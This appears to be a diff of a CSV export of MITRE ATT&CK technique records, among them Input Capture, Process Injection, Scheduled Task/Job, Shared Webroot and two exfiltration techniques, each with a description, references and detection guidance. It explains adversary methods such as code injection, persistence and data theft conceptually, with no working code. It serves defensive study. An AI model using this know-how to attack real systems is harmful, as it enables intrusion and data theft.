deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2,attack-pattern,"['collection', 'credential-access']",2020-10-21T01:31:35.760Z,2017-05-31T21:30:48.323Z,"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution', 'Process: Process Creation', 'File: File Modification', 'Process: Process Metadata']","['John Lambert, Microsoft Threat Intelligence Center']",,"['Administrator', 'SYSTEM', 'root', 'User']","['Linux', 'macOS', 'Windows', 'Network']",,CAPEC-569,https://capec.mitre.org/data/definitions/569.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055', 'url': 'https://attack.mitre.org/techniques/T1055'}, {'external_id': 'CAPEC-640', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.', 'source_name': 'ArtOfMemoryForensics'}, {'url': 'https://www.gnu.org/software/acct/', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'source_name': 'GNU Acct'}, {'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'source_name': 'RHEL auditd'}, {'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'source_name': 'Chokepoint preload rootkits'}, {'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'source_name': 'Microsoft Sysmon v6 May 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,False,https://attack.mitre.org/techniques/T1055,mitre-attack,T1055,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Process Injection,"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. +Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,CAPEC-573,https://capec.mitre.org/data/definitions/573.html,"['Administrator, SYSTEM may provide better process ownership details']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056', 'external_id': 'T1056'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html', 'external_id': 'CAPEC-569'}, {'source_name': 'Adventures of a Keystroke', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf'}]",1.2,attack-pattern,attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:48.323Z,2021-08-24T18:21:08.497Z,Input Capture,"Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1056,mitre-attack,T1056,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution', 'Process: Process Creation', 'File: File Modification', 'Process: Process Metadata']",,"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",False,"['Administrator', 'SYSTEM', 'root', 'User']","['Linux', 'macOS', 'Windows', 'Network']",,CAPEC-569,https://capec.mitre.org/data/definitions/569.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055', 'external_id': 'T1055'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/640.html', 'external_id': 'CAPEC-640'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}, {'source_name': 'Microsoft Sysmon v6 May 2017', 'description': 'Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sysmon'}]",1.2,attack-pattern,attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:47.843Z,2021-10-18T12:30:14.852Z,Process Injection,"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. -More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d,attack-pattern,"['defense-evasion', 'privilege-escalation']",2021-02-09T15:43:50.029Z,2017-05-31T21:30:47.843Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055,mitre-attack,T1055,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Anastasios Pingios', 'Christiaan Beek, @ChristiaanBeek', 'Ryan Becwar']","['Process: Process Modification', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Metadata']","['Application control', 'Anti-virus']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. @@ -3316,174 +3495,133 @@ Monitoring for Linux specific calls such as the ptrace system call should not ge Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'File: File Modification', 'File: File Metadata']","['Anastasios Pingios', 'Christiaan Beek, @ChristiaanBeek', 'Ryan Becwar']","['Application control', 'Anti-virus']",,"['Linux', 'macOS', 'Windows']",,CAPEC-640,https://capec.mitre.org/data/definitions/640.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1053', 'url': 'https://attack.mitre.org/techniques/T1053'}, {'external_id': 'CAPEC-557', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/557.html'}, {'url': 'https://technet.microsoft.com/en-us/library/cc785125.aspx', 'description': 'Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.', 'source_name': 'TechNet Task Scheduler Security'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",2.1,False,https://attack.mitre.org/techniques/T1053,mitre-attack,T1053,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",False,,"['Linux', 'macOS', 'Windows']",,CAPEC-640,https://capec.mitre.org/data/definitions/640.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1053', 'external_id': 'T1053'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/557.html', 'external_id': 'CAPEC-557'}, {'source_name': 'TechNet Task Scheduler Security', 'description': 'Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc785125.aspx'}]",2.1,attack-pattern,attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:46.977Z,2021-10-15T14:36:26.445Z,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) -Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).",attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9,attack-pattern,"['execution', 'persistence', 'privilege-escalation']",2021-04-20T16:31:11.405Z,2017-05-31T21:30:46.977Z,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. +Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).","['execution', 'persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1053,mitre-attack,T1053,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Prashant Verma, Paladion', 'Leo Loobeek, @leoloobeek', 'Travis Smith, Tripwire', 'Alain Homewood, Insomnia Security']","['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. -Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']","['Prashant Verma, Paladion', 'Leo Loobeek, @leoloobeek', 'Travis Smith, Tripwire', 'Alain Homewood, Insomnia Security']",,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS', 'Containers']",True,CAPEC-557,https://capec.mitre.org/data/definitions/557.html,,,"['SYSTEM', 'Administrator', 'User']",,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1052', 'external_id': 'T1052'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.1,False,https://attack.mitre.org/techniques/T1052,mitre-attack,T1052,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Physical Medium,"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549,attack-pattern,['exfiltration'],2020-03-28T00:31:48.713Z,2017-05-31T21:30:46.461Z,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,['Presence of physical medium or device'],False,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1051', 'url': 'https://attack.mitre.org/techniques/T1051'}, {'external_id': 'CAPEC-563', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/563.html'}, {'description': 'Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.', 'source_name': 'Microsoft Web Root OCT 2016'}, {'url': 'http://httpd.apache.org/docs/2.4/getting-started.html#content', 'description': 'Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.', 'source_name': 'Apache Server 2018'}, {'url': 'https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/', 'description': 'Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.', 'source_name': 'Webroot PHP 2011'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.0,False,https://attack.mitre.org/techniques/T1051,mitre-attack,T1051,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Shared Webroot,"**This technique has been deprecated and should no longer be used.** - -Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. - -This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db,attack-pattern,['lateral-movement'],2020-03-30T13:56:55.356Z,2017-05-31T21:30:46.047Z,Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.,,,,,['Windows'],,CAPEC-563,https://capec.mitre.org/data/definitions/563.html,['Shared webroot directory on remote system'],,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1049', 'external_id': 'T1049'}, {'source_name': 'Amazon AWS VPC Guide', 'url': 'https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html', 'description': 'Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.'}, {'source_name': 'Microsoft Azure Virtual Network Overview', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview', 'description': 'Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.'}, {'source_name': 'Google VPC Overview', 'url': 'https://cloud.google.com/vpc/docs/vpc', 'description': 'Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",2.2,False,https://attack.mitre.org/techniques/T1049,mitre-attack,T1049,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Network Connections Discovery,"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS', 'Containers']",True,CAPEC-557,https://capec.mitre.org/data/definitions/557.html,,,"['SYSTEM', 'Administrator', 'User']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1052', 'external_id': 'T1052'}]",1.2,attack-pattern,attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:46.461Z,2021-10-15T22:48:29.702Z,Exfiltration Over Physical Medium,"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",['exfiltration'],https://attack.mitre.org/techniques/T1052,mitre-attack,T1052,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Process: Process Creation', 'File: File Access', 'Drive: Drive Creation', 'Command: Command Execution']",,Monitor file access on removable media. Detect processes that execute when removable media are mounted.,False,,"['Linux', 'macOS', 'Windows']",,,,['Presence of physical medium or device'],False,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1049', 'external_id': 'T1049'}, {'source_name': 'Amazon AWS VPC Guide', 'description': 'Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.', 'url': 'https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html'}, {'source_name': 'Microsoft Azure Virtual Network Overview', 'description': 'Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview'}, {'source_name': 'Google VPC Overview', 'description': 'Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.', 'url': 'https://cloud.google.com/vpc/docs/vpc'}]",2.2,attack-pattern,attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:45.139Z,2021-03-08T10:33:01.083Z,System Network Connections Discovery,"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) -Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), ""net use,"" and ""net session"" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to ""net session"".",attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475,attack-pattern,['discovery'],2021-03-08T10:33:01.083Z,2017-05-31T21:30:45.139Z,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), ""net use,"" and ""net session"" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to ""net session"".",['discovery'],https://attack.mitre.org/techniques/T1049,mitre-attack,T1049,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",['Praetorian'],,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1048', 'url': 'https://attack.mitre.org/techniques/T1048'}, {'source_name': 'Palo Alto OilRig Oct 2016', 'description': 'Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.2,False,https://attack.mitre.org/techniques/T1048,mitre-attack,T1048,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration Over Alternative Protocol,"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048', 'external_id': 'T1048'}, {'source_name': 'Palo Alto OilRig Oct 2016', 'description': 'Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.3,attack-pattern,attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:44.720Z,2021-10-15T22:49:28.766Z,Exfiltration Over Alternative Protocol,"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. -[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ",attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776,attack-pattern,['exfiltration'],2020-03-28T00:50:31.548Z,2017-05-31T21:30:44.720Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",['Alfredo Abarca'],,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1047', 'url': 'https://attack.mitre.org/techniques/T1047'}, {'url': 'https://en.wikipedia.org/wiki/Server_Message_Block', 'description': 'Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.', 'source_name': 'Wikipedia SMB'}, {'url': 'https://technet.microsoft.com/en-us/library/cc787851.aspx', 'description': 'Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', 'source_name': 'TechNet RPC'}, {'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'source_name': 'MSDN WMI'}, {'source_name': 'FireEye WMI SANS 2015', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.""}, {'url': 